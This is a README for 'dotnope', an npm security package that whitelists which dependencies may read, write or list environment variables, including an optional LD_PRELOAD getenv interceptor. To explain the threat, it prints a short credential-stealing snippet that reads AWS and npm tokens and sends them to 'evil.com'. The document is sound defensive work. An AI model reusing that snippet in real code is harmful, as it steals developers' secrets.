dotnope
Stop npm packages from stealing your secrets.
The Problem
The Shai-Hulud worm compromised 500+ npm packages and stole $50M+ in crypto by reading AWS_SECRET_ACCESS_KEY, NPM_TOKEN, and other credentials straight from process.env.
Any package in your node_modules can read any environment variable. There's no permission system.
dotnope fixes this.
Quickstart
npm install dotnope
const dotnope = require('dotnope');
const handle = dotnope.enableStrictEnv();
const token = handle.getToken();
handle.disable(token);
Or use the auto-register entry point to enable protection before any other code runs:
node -r dotnope/register your-app.js
// package.json - whitelist what each package can access
{
"environmentWhitelist": {
"__options__": {
"failClosed": true,
"protectWrites": true,
"protectDeletes": true,
"protectEnumeration": true
},
"aws-sdk": {
"allowed": ["AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_REGION"],
"canWrite": [],
"canDelete": [],
"allowPeerDependencies": false
},
"dotenv": {
"allowed": ["*"],
"canWrite": ["*"],
"canDelete": []
}
}
}
What Happens
When a non-whitelisted package tries to read an env var:
dotnope: Unauthorized environment variable access!
Package: "totally-legit-package"
Attempted to read: "AWS_SECRET_ACCESS_KEY"
Location: node_modules/totally-legit-package/index.js:47
To allow this access, add to your package.json:
"environmentWhitelist": {
"totally-legit-package": {
"allowed": ["AWS_SECRET_ACCESS_KEY"]
}
}
How This Stops Shai-Hulud
The attack worked by hiding credential-stealing code in postinstall scripts and runtime:
const aws = process.env.AWS_SECRET_ACCESS_KEY;
const npm = process.env.NPM_TOKEN;
fetch('https://evil.com/steal', { body: JSON.stringify({ aws, npm }) });
With dotnope enabled, that code throws immediately:
ERR_DOTNOPE_UNAUTHORIZED: "compromised-pkg" cannot read "AWS_SECRET_ACCESS_KEY"
The malware never gets your credentials. Your app crashes loudly instead of silently leaking secrets.
Security Features
Fail-Closed Mode (Default)
Unknown callers are blocked by default. If dotnope can't determine who's accessing process.env, it denies access rather than allowing it.
Token-Protected Disable
The disable() function requires the secret token returned by enableStrictEnv(). Malicious packages can't just call disableStrictEnv() to bypass protection.
Write Protection
Control which packages can write to process.env, preventing environment pollution attacks.
Enumeration Protection
Packages can only see the env vars they're allowed to access when using Object.keys(process.env) or similar.
Native Addon (Optional)
For high-security environments, dotnope includes an optional C++ native addon that provides:
- V8-level stack capture (immune to
Error.prepareStackTrace manipulation)
- Async context tracking via V8 PromiseHooks
- Worker thread protection
Build the native addon with:
npm run build:native
Config Options
Global Options (__options__)
{
"environmentWhitelist": {
"__options__": {
"failClosed": true,
"protectWrites": true,
"protectDeletes": true,
"protectEnumeration": true
}
}
}
failClosed | true | Block access when caller can't be determined |
protectWrites | true | Enforce canWrite permissions |
protectDeletes | true | Enforce canDelete permissions |
protectEnumeration | true | Filter Object.keys(process.env) results |
Per-Package Options
{
"environmentWhitelist": {
"axios": {
"allowed": ["HTTP_PROXY", "HTTPS_PROXY"],
"canWrite": ["HTTP_PROXY"],
"canDelete": [],
"allowPeerDependencies": true
}
}
}
allowed | [] | Env vars the package can read (["*"] for all) |
canWrite | [] | Env vars the package can write (["*"] for all) |
canDelete | [] | Env vars the package can delete (["*"] for all) |
allowPeerDependencies | false | Grant same permissions to dependencies |
API
enableStrictEnv(options?)
Enables environment variable protection. Returns a handle object.
const handle = dotnope.enableStrictEnv({
configPath: './package.json',
suppressWarnings: false,
verbose: false,
allowInWorker: false,
workerConfig: null
});
Handle Object
const token = handle.getToken();
handle.disable(token);
const stats = handle.getAccessStats();
Utility Functions
dotnope.isEnabled();
dotnope.isPreloadActive();
dotnope.emitSecurityWarnings({ forceWarnings: true });
dotnope.isRunningInMainThread();
dotnope.getSerializableConfig();
Auto-Register Mode
When using node -r dotnope/register, the handle and token are stored on global.__dotnope:
const { handle, token, emitWarnings } = global.__dotnope;
emitWarnings({ verbose: true });
handle.disable(token);
Example
See examples/ for a working demo with a fake malicious package.
cd examples && node app.js
Worker Thread Support
Worker threads require explicit opt-in for security:
const dotnope = require('dotnope');
const handle = dotnope.enableStrictEnv();
const workerConfig = dotnope.getSerializableConfig();
const worker = new Worker('./worker.js', { workerData: { config: workerConfig } });
const { workerData } = require('worker_threads');
const dotnope = require('dotnope');
dotnope.enableStrictEnv({
allowInWorker: true,
workerConfig: workerData.config
});
Advanced: LD_PRELOAD Protection
For protection against native C++ addons that call getenv() directly, dotnope provides an LD_PRELOAD library that intercepts libc's getenv() function.
Using dotnope-run CLI (Recommended)
npx dotnope-run node app.js
Building the Preload Library
Requirements: GCC and standard C development tools
cd native/preload
make
sudo make install
This creates libdotnope_preload.so in the native/preload/ directory.
Manual LD_PRELOAD Usage
LD_PRELOAD=./native/preload/libdotnope_preload.so \
DOTNOPE_POLICY="AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,NODE_ENV" \
node app.js
LD_PRELOAD=/usr/local/lib/libdotnope_preload.so node app.js
DYLD_INSERT_LIBRARIES=/path/to/libdotnope_preload.dylib node app.js
Preload Configuration
DOTNOPE_POLICY | Comma-separated list of allowed env vars (use * for all) |
DOTNOPE_LOG | Enable logging: 1, stderr, or a file path |
LD_PRELOAD=./native/preload/libdotnope_preload.so \
DOTNOPE_POLICY="NODE_ENV,PORT,DATABASE_URL" \
DOTNOPE_LOG=stderr \
node app.js
License
MIT